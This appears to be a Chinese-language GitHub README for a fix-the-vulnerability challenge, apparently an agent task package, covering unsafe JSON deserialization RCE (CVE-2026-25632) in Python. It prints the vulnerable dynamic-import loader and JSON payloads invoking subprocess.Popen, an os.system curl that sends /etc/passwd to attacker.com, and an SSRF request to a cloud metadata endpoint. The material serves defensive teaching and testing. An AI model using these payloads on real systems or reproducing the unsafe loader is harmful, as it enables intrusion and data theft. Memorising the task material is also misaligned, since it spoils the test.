lazarus0x1337/CVE-2026-25632
GitHub: lazarus0x1337/CVE-2026-25632
针对 Python JSON 反序列化 RCE 漏洞(CVE-2026-25632)的修复挑战项目,要求用白名单机制替换不安全的动态类加载逻辑。
Stars: 1 | Forks: 0
# CVE-2026-25632 — REST API 中的 JSON 反序列化 RCE(漏洞修复挑战)
## 背景
该模式于 2026 年作为一个重大开源项目中的严重远程代码执行(RCE)漏洞被披露。安全研究人员发现,控制 JSON body 的攻击者可以构建一个 **gadget chain**,以 Python 标准库中的任何可调用对象为攻击目标——包括 `subprocess.Popen`、`os.system`、`eval` 以及 25 个以上的 SSRF gadget——只需单个 HTTP 请求即可实现完整的服务器入侵,**无需身份验证**。
## 你的任务
你将获得 `src/solution.py` 的**易受攻击版本**,其中包含了确切的不安全反序列化模式。
**你的目标:** 修复 `DeserializationService.load_from_json()` 中的漏洞,以便:
1. 合法的、**白名单内的** simulation 对象仍然可以被正确反序列化。
2. 任何加载白名单**之外**类的尝试都会引发 `SecurityError`。
3. `__type__` 字段不再允许任意的模块导入或类实例化。
4. 所有有效的 simulation 数据(非 `__type__` 的 JSON)继续正常加载。
## 技术问题陈述
### 易受攻击的代码模式(请勿使用)
```
# 危险 — CVE-2026-25632 模式
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
```
### 攻击向量(来自真实的安全研究)
攻击者发送一个带有精心构造的 JSON body 的 POST 请求:
**向量 1 — 通过 subprocess 直接 RCE:**
```
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
```
**向量 2 — 通过 os.system 进行 RCE:**
```
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
```
**向量 3 — 通过 urllib.request.urlopen 进行 SSRF:**
```
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
```
安全研究人员记录了 **12 个直接 RCE gadget** 和 **25 个 SSRF gadget**,仅通过 Python 标准库即可以此方式触发。
## 白名单类型
以下,且**仅限**以下的 simulation 对象类型可以通过 `__type__` 进行反序列化:
| `__type__` 值 | Python 类 |
|----------------------------|---------------------------------|
| `simulation.Sensor` | `novasim.models.Sensor` |
| `simulation.Actuator` | `novasim.models.Actuator` |
| `simulation.Scenario` | `novasim.models.Scenario` |
任何其他的 `__type__` 值必须立即引发 `SecurityError`,**在任何导入或实例化发生之前**。
## 输入 / 输出规范
### 输入
提交给 `DeserializationService.load_from_json(raw: str) -> dict | SimObject` 的 JSON 对象
### 输出
- 如果 JSON 没有 `__type__` 键:返回 `dict`(解析后的 JSON)。
- 如果 JSON 包含在白名单内的 `__type__`:返回对应的 simulation 对象实例。
- 如果 JSON 包含不在白名单内的 `__type__`:引发 `SecurityError`,消息为:`"Blocked unsafe type: "`。
- 如果 JSON 格式错误:引发 `ValueError`,消息为:`"Invalid JSON payload"`。
### 边界情况 / 错误处理规则
| 场景 | 预期行为 |
|---------------------------------------|--------------------------------------------|
| 缺少 `__type__` | 解析并作为普通 dict 返回 |
| `__type__` = `"simulation.Sensor"` | 实例化 `Sensor(**args)` |
| `__type__` = `"subprocess.Popen"` | 引发 `SecurityError` |
| `__type__` = `"os.system"` | 引发 `SecurityError` |
| `__type__` = `"__builtins__.eval"` | 引发 `SecurityError` |
| `__type__` = `""`(空字符串) | 引发 `SecurityError` |
| `__type__` = 列表或整数 | 引发 `SecurityError`(无效类型字段)|
| 格式错误的 JSON 字符串 | 引发 `ValueError` |
| 有效对象中未知的额外字段 | 接受,作为 kwargs 传递给构造函数 |
## 文件
```
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
```
## 验证标准
该修复必须通过以下所有条件:
- 所有 4 个标准反序列化测试(白名单类型,无类型的普通 dict)
- 所有 5 个攻击向量拦截测试(subprocess、os、eval、urllib、builtins)
- 所有 3 个边界情况测试(空类型、非字符串类型、格式错误的 JSON)
- 测试期间无外部网络调用
- 多次运行结果确定一致
## 参考
- NVD — CVE-2026-25632
- CISA 咨询 — 已知被利用的漏洞目录
- 安全研究:发现了 79 个 Gadget — MazeHQ, 2026
- CWE-502:不可信数据的反序列化
标签:CISA项目, Homebrew安装, JSON反序列化, Python, Web安全, 安全漏洞修复, 无后门, 蓝队分析, 请求拦截, 逆向工具